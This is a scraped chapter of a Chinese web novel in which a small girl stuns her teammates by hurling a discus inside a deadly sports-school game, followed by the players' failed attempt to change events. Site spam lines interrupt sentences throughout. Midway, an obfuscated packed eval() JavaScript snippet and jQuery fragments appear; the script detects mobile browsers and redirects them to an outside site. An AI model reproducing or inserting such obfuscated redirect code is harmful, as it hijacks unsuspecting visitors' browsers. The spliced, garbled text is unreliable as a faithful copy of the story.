第48章

作品:《乖宝

    明澄说完小胸脯起伏两下抹了抹眼睛。


    接着才发现周围所有人都目瞪口呆地看着自己。


    她好像明白了什么自卑地低下了头:“铁饼是不该扔得这么远的是不是?可是明澄已经尽力了。”


    钱盘一屁股坐在了地上。


    就在刚才铁饼从明澄手中脱手的那个瞬间有一股凉气从他脚底板冒出。


    直播间外。


    异调局里哪怕是最沉稳的邬纵和湛青都一下子站了起来像屏幕倾身。


    方闻英坐直了:“刚才那是明澄??”


    “确实是明澄……”


    郎星没坐稳:“澄崽把铁饼给扔回去了?!还说是特意往近了扔的?!”


    杨昭宁喃喃:“如果我没聋的话。”


    他们的反应几乎不亚于当初见到她开出一辆挖掘机时的震惊。


    可是那台挖掘机还能说是系统bug误出的道具但她这惊人的力气呢?


    他们都清楚系统是不可能给她开后门开成这样的。


    再看明澄自己也并无意外这说明她对这样的力气也是**以为常的。


    郎星突地看向杨昭宁:“杨队你上回说就算我抱明澄大腿也没用因为遇到鬼的时候我要是晕倒了她总不能把我扛起来拖到安全的地方。”


    他跳了起来:“你说得不对啊她是真能把我给扛起来啊!”


    他幽怨地看向屏幕里似惊似喜的郎月:“可恶怎么不是我在明澄身边我真想试一试。”


    副本里郎月最先回过神来立马朝她飞奔过去跑了两步反应过来又跑回去捡刚才丢到地上的袋子。


    她重新回到明澄身边蹲下来捧着她的小脸看看


    明澄的嘴巴被挤得撅起口齿不清地问:“金刚芭比是什么?”


    敏感关头明澄又发现了一个自己不知道的东西。


    郎月放开她想了想一挥手:“算了那不重要。重要的是——”


    她郑重其辞:“宝宝你让我还有很多人都看到了希望。”


    明澄只觉得郎月是在哄她抿着唇:“可是我连掷铁饼都不会。”


    意识到明澄不自信的来源郎月立即变脸瞪向了围栏后头坐在地上仍在石化状态的钱盘。


    “宝宝你怎么不会了呀?你投得那么高、那么远!”


    “可是投得远不是不好吗?不然他为什么投得这么近?”


    被她一指钱盘肥胖的手惊慌地一把抓住了草皮。


    他看向明澄的目光有些畏惧。


    郎月冷笑:“那当然是因为他水平不高


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    !比起我们宝宝差远了!”


    明澄的眼里浮现了希望的火苗,“真的吗?”


    郎月怒气冲冲看向钱盘:“你告诉她!是不是!”


    钱盘避开明澄的视线,哆哆嗦嗦说:“是,铁饼就得掷得越远才越好。”


    明澄的眼里雨过天晴了,那一点小泪珠从睫毛上滑落,“那明澄还是优秀毕业生。”


    郎月:“必须的。”


    楚寒从跑道上先行赶到,无法继续维持冰冷的淡定,以一种格外奇怪的目光看着明澄。


    随后,朱路通也上气不接下气地跑了过来,撑着大腿。


    “哎哟喂刚才真是吓死我了。”


    然后朱路通沉默了一下,“我刚才是不是跑太多步,出现幻觉了?我居然看见明澄把那么大一铁饼给扔回去了?”


    郎月笑得见牙不见眼:“你没看错,就是这么厉害!”


    再看四周,那些不久前还在嘲讽明澄是侏儒残废小短腿的人,此刻都默不作声,带着还未褪去的震惊赶紧溜走了。


    钱盘也趁着他们没注意,爬起来就跑,连铁饼都没有收。


    朱路通眼看他们闻风散去,羡慕地看向明澄:“我觉得,今天过后,明澄应该会是我们之中最安全的一个了。”


    郎月的高兴劲过去,冷静了下来,“朱路通,你不是说过,扔铅球是要有天赋的,说的没错,掷铁饼也是,光有力气是没用的。”


    “而现在,很明显,我们明澄宝宝既有力气又有天赋,技巧在她的天赋面前都不值一提,还去什么铁人三项,她最适合的分明就是铁饼链球铅球啊!我看别说金牌了,破纪录都有可能!”


    明澄骄傲地挺起了小胸脯。


    其他两人想了想,完全没办法否定。


    郎月说道:“所以关于这次任务,我也有个新的想法——咱们应该去找负责人商量一下,换项目!”


    “给明澄换成她擅长的那些项目。”


    “除了她,我们也得换。”她看向朱路通,“相比跑步,你也更适合铁饼之类的项目,只可惜这市运会没有举重比赛。”


    朱路通苦笑:“我什么运动都不擅长,也不爱动。应该说可惜没有大胃王比赛,不然我应该能夺冠。”


    郎月笑了:“不,要是真有大胃王比赛,你不一定能比过明澄。”


    “……好吧。铁饼这些总归要比跑步更好。”


    郎月接着说:“经过刚才我冲刺过来的那一秒,我觉得我的爆发力比耐力强得多,我想换成短跑。”


    “还有楚寒,你最好也换成短跑,或者哪怕跳高,都比铅球有争金的可能。”


    楚寒没有反驳,不知在考量什么。


    “还有樊云和谭涉水,他俩腿长,旱鸭子还


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    是适合沙坑,要是参加跳远,肯定比游泳的希望大一点。”


    几句话说完,郎月已经将所有人安排得妥妥当当,连朱路通都觉得未来立刻敞亮了起来。


    现实中,繁华的东部,落城。


    这里的民众正在准备迁移。


    这一轮游戏,贪吃蛇的吞噬目标正是这块地方。


    在这三年间,许多其他已被吞噬区域的民众都搬迁至此,人**炸,也导致这次搬迁的难度极大。


    工作人员来回奔波着,催促尽快搬迁。


    在这其中,有的人家甚至已经迁移过四五次了,情绪颓丧麻木。


    其中一个女孩听着喇叭里循环播放的,再熟悉不过的迁移注意事项,手上动作不停。


    不同的是,最近,每次广播的最后还会加上一句:


    “如果你内心感到焦虑,或者无助,需要帮助,不要隐忍,请随时拨打全国24小时心理热线电话:12356。”


    她仔细听完,看向母亲:“妈,少带点东西吧,还是早点搬走为好。”


    “不行,估计以后回不来了,家里的东西都得带走,不然去哪儿买?现在这种情况。”


    “那说不定这轮游戏又通关了,咱们又搬回来了呢?”


    前面的罪恶都市,农家乐,电视台副本三轮接连过关,那些苦着脸搬走的人又都欣喜地搬了回去。


    母亲却摇了摇头,没什么表情,“我听大家说,这一轮游戏很难,而且是明面上的难,估计落城是保不住了。”


    女孩的脸色黯然下来。


    她说得没错。开始搬家前,她才打开过直播间,第一眼就看到了缀在队伍最后跑着的郎月和明澄。


    当时郎月跑得气喘吁吁,脸色苍白。


    与之相对的,是前方状态饱满的其他女队员们。


    其他几个玩家的情况不会比这好多少,到底要怎么拿金牌?


    她坐在地上,小心地又打开了直播,打算只看一眼,要是情况不好,她就立刻关掉。


    而那一眼,看到的是明澄挥手将铁饼扔回去的一幕。


    她两眼瞪得像铜铃,接着倏然抬起了头:


    “妈!我们说不定真的可以再搬回来!”


    樊云和谭涉水不知道为什么还是没有从游泳馆出来,郎月等不及了,决定跟楚寒先去找教练说说改项目的事。


    明澄和朱路通则接着在众人先前分开的路口等待去学游泳的两人。


    郎月到处询问,跟着指示,一路来到了对接报名的负责老师办公室。


    “您好?”


    正好,人还在,还没开始午休。


    对方是个男老师,“有什么事?”


    “我们是市运会的参赛选手,想要来更改参赛项目。”


    老


    你的朋友正在书荒,快去帮帮他吧


    师眉头一皱“换项目?”


    “是啊因为我们训练之后都发现自己不太适合现在报名的项目为了拿到金牌我们想要换到更有把握的项目。”


    谁曾想那老师却摇了摇头斩钉截铁说:“没得换。”


    郎月一愣:“为什么?”


    “现在报上去的项目都是考虑了实际情况的其他项目都有自己的夺金选手用不着你们换过去。”


    “老师不能通融一下吗?学校应该也希望我们夺金吧?我们的目标是一致的。”


    “当然不能这可是市运会。”老师顿了顿“要想换项目只有一种情况。”


    郎月抱着希望问:“什么情况?”


    “除非有哪个项目我们学校连一个合适的选手都凑不出来了你才有机会换过去。”


    接着他意味深长地笑了一下:“但是目前每个项目报上去的选手都活得好好的你们当然没机会换过去了。”


    郎月听着这句话突然觉得心头有股凉意。


    “那谢谢老师我们暂时不换了。”


    对方似乎对他们印象还不错在他们走出去之前又说了句:“不要有太大的心理压力被学校报上去的学生自然都是有夺金的希望的。”


    这话在郎月听来更像是安慰她笑了笑“谢谢老师。”


    直播间前因明澄神来一掷而感到惊喜的观众们再度绝望了。


    郎月与楚寒回去的时候樊云和谭涉水已经出来了。


    他们正对明澄和朱路通诉苦:“我游泳圈都没套上呢那个教练就直接把我踹下去了我真是差点儿淹死。”


    “还有啊那边的氛围也很压抑其他人都特别仇视我们


    樊云点点头:“只有一个十几岁的小男孩还不错会提醒我们。可惜是个聋哑人沟通不太方便。”


    见郎月和楚寒回来了他们赶忙上前询问:“怎么样?听朱路通说你们去找学校老师换项目了?那可太好了我们在游泳队是半天也待不下去了。”


    可再看楚寒面无表情郎月垂头丧气的模样他们就大概知道结果了“不行?”


    “果然游戏是不会这么轻易放过我们的。”她只说了这一句其他人的希望再次破灭了。


    “而且……”郎月迟疑了一下“那个老师说其他项目的选手都活着所以我们才无法换项目。”


    玩家们都感觉到了不适皱眉“这这听起来怎么感觉像是在鼓动**啊?”


    可他们都是正常人当然不会去考虑这条路。


    “现在怎么办


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    啊,只不过训练了不到俩小时,我感觉我眼前都开始闪走马灯了。谭涉水的语气伤感。


    郎月打起精神:“你们刚才不在,没看到,我们本来也被歧视了,但是明澄狠狠地震慑了一下那帮人。


    随即她将明澄掷铁饼的事绘声绘色地重现,果然引来了樊云和谭涉水的惊呼:“真的啊?


    他们面面相觑,虽然根本无法想象这具小小的身体里能有这么大的能量,但是郎月不可能说谎。


    “那要是不能改项目,我们岂不是失去了一块板上钉钉的金牌?


    话题回到原处,众人再度陷入了沉默。


    明澄见他们情绪不佳,挤进来安慰:“我会努力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985826|193632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,拿到铁人三项的金牌的。


    郎月摸了摸她的头,叹气,这铁人三项怎么就不能加个掷铁饼,变成铁人四项呢?


    再加个扔铅球扔链球,变成钢人六项岂不更妙?


    楚寒从刚才开始就一直在思索着什么,此刻打破了沉默:“你们训练的时候,有见到名单上的其他人吗?他们的水平如何?


    被他这么一说,他们纷纷回忆了一下,随后诧异道:“咦,还真没有,我们在训练的时候看到的人,都是普通的体育生。


    也就是说,名单上除了他们之外的其他参赛选手,并没有加入训练。


    “不过也能说得通吧,咱们是菜鸟,初来乍到,所以当然得先跟普通人一起进行常规训练,其他能上市运会的,肯定都是强手,训练的方案跟咱们肯定不一样。


    楚寒若有所思。


    谭涉水又开始丧气了:“唉,咱们拿不到金牌,游戏就过不了关,这破体校的口号是拿不到金牌就**,这么多选手争一块金牌,难不成最后每个项目只活一个人?


    “估计只是当口号喊喊,再怎么离谱,也不可能真让学生去送死吧?


    话虽如此,他们谁也没有底气肯定。


    时间不早了,郎月拍拍手:“还是先去吃饭吧。


    早上本就没吃饭,只不过进入副本的紧张感让他们忘掉了饥饿,再经历长久的训练,他们其实都已经饥肠辘辘。


    唯一让他们感到欣慰的是,这所体校的食堂量大管饱,味道也不错。


    不过几人从进入食堂开始,就感受到了瞩目。


    不时有人朝他们投来突兀的目光,伴随着小声低语。


    他们本以为是明澄的事传开了,不过很快就发现,他们不光是讨论他们,也会讨论个别其他学生。


    “他们指指点点的,是所有入选名单上的人。楚寒说道。


    几人明白过来。


    还是嫉妒。


    不过,这种密集程度的视线,即使那个猎杀者隐藏在其中,恐怕他们


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    也找不到。


    感受着无数道嫉恨的目光,一行人食不知味地吃着饭菜。


    除了明澄。


    她在恢复了自信后,对于那些异样的视线照旧熟视无睹。


    顶着粉雕玉琢的脸,凭借着能拿大胃王比赛冠军的饭量,那些原本阴暗的目光变得古怪起来。


    下午,痛苦的玩家们分开,又前往了各自的训练场。


    跑步时,郎月还是交待明澄跟在自己身后。


    自从感觉到其他人对他们的仇视后,他们就决定尽量两两一起行动,免得被针对。


    郎月正琢磨着如何才能跑得更快,明澄犹豫了一下,抬起头问:“跑步,必须只能用两只脚跑吗?”


    郎月:“?”


    “我可以用手也一起跑吗?我总觉得,那样我可以跑得更快一点。”


    郎月想象了一下明澄四肢着地的那个画面:“……”


    “宝,咱就算输掉比赛,也最好还是以体面点的方式输吧。”


    “好吧。”明澄放弃了手脚并用的想法。


    除了下午的训练,吃完饭后,还有晚训。


    每队晚训的结束时间不同,男女宿舍又在不同的方向,且都有门禁,所以等晚训结束后,他们便不再集合了,直接前往各自的宿舍。


    樊云和谭涉水拖着疲惫的身子走在路上。


    “你还真别说,我感觉被踹下水的次数多了,好像稍微有那么点感觉了。”


    “我也是,估计明后天就能学会游泳了。”


    “哈,离金牌又近了一步。”


    来这里的第一天,他们都不太熟悉路径,特意拉了个男生问能不能带他们一起回宿舍。


    那男生说自己是要出校的,给他们指了个方向,便不耐烦地离开了。


    他们沿着男生指着的方向继续走。


    这条路上的分叉小路很多,越走,他们的方向感迷失得越快。


    眼看周遭的路灯陡然变少,环境越发昏暗了,他们开始感到有些害怕。


    后知后觉:“刚才那个男的是不是随便给我们指了个错误方向啊?”


    “八成就是了,怎么忘了,根本不能相信这儿的人啊!”


    可此时再回头,他们连来时的路都记不清了。


    两人心里慌乱,凑得近了些。


    面前是一段石板路,道路两旁唯一的路灯还坏了。


    “这学校的基础设施也太差了。”谭涉水吐槽道。


    突然,背后好像有什么声音传来。


    像是一阵脚步声,踢踢踏踏踩在石板上。


    两人对视一眼,停了下来。


    身后,那脚步声也跟着消失了。


    他们尝试着继续走动,那道脚步声也再度响起。


    想到这所体校里接连失踪的学生,两人面上蔓延起恐惧,肩挤着肩,在路上越走越快,最后跑了起来。


    终于,前方出现光亮了。


    他们箭步冲上前,跑到了路灯底下,对面就是宿舍大门了,周围还有往来的高大男生。


    他们鼓起勇气,朝身后看了一眼。


    只见黑暗中,一道高瘦的身影从他们刚才经过的地方慢慢走了出来,他低着头,插着兜,看不清脸。


    似是察觉到观察的视线,那个男生猛然朝这个方向抬起了头。


    二人心惊肉跳地扭过了脸,僵直地朝宿舍走去。


    但在快要对视上的那一秒,他们还是看到了一张有几分熟悉的脸。


    应该是没见过的,可是,为什么会感到熟悉呢?


    他们正努力回忆着,突然听到前方有人朝他们身后喊了一声:


    “连勤?你不是说要回教室拿东西吗?怎么从那边回来的?”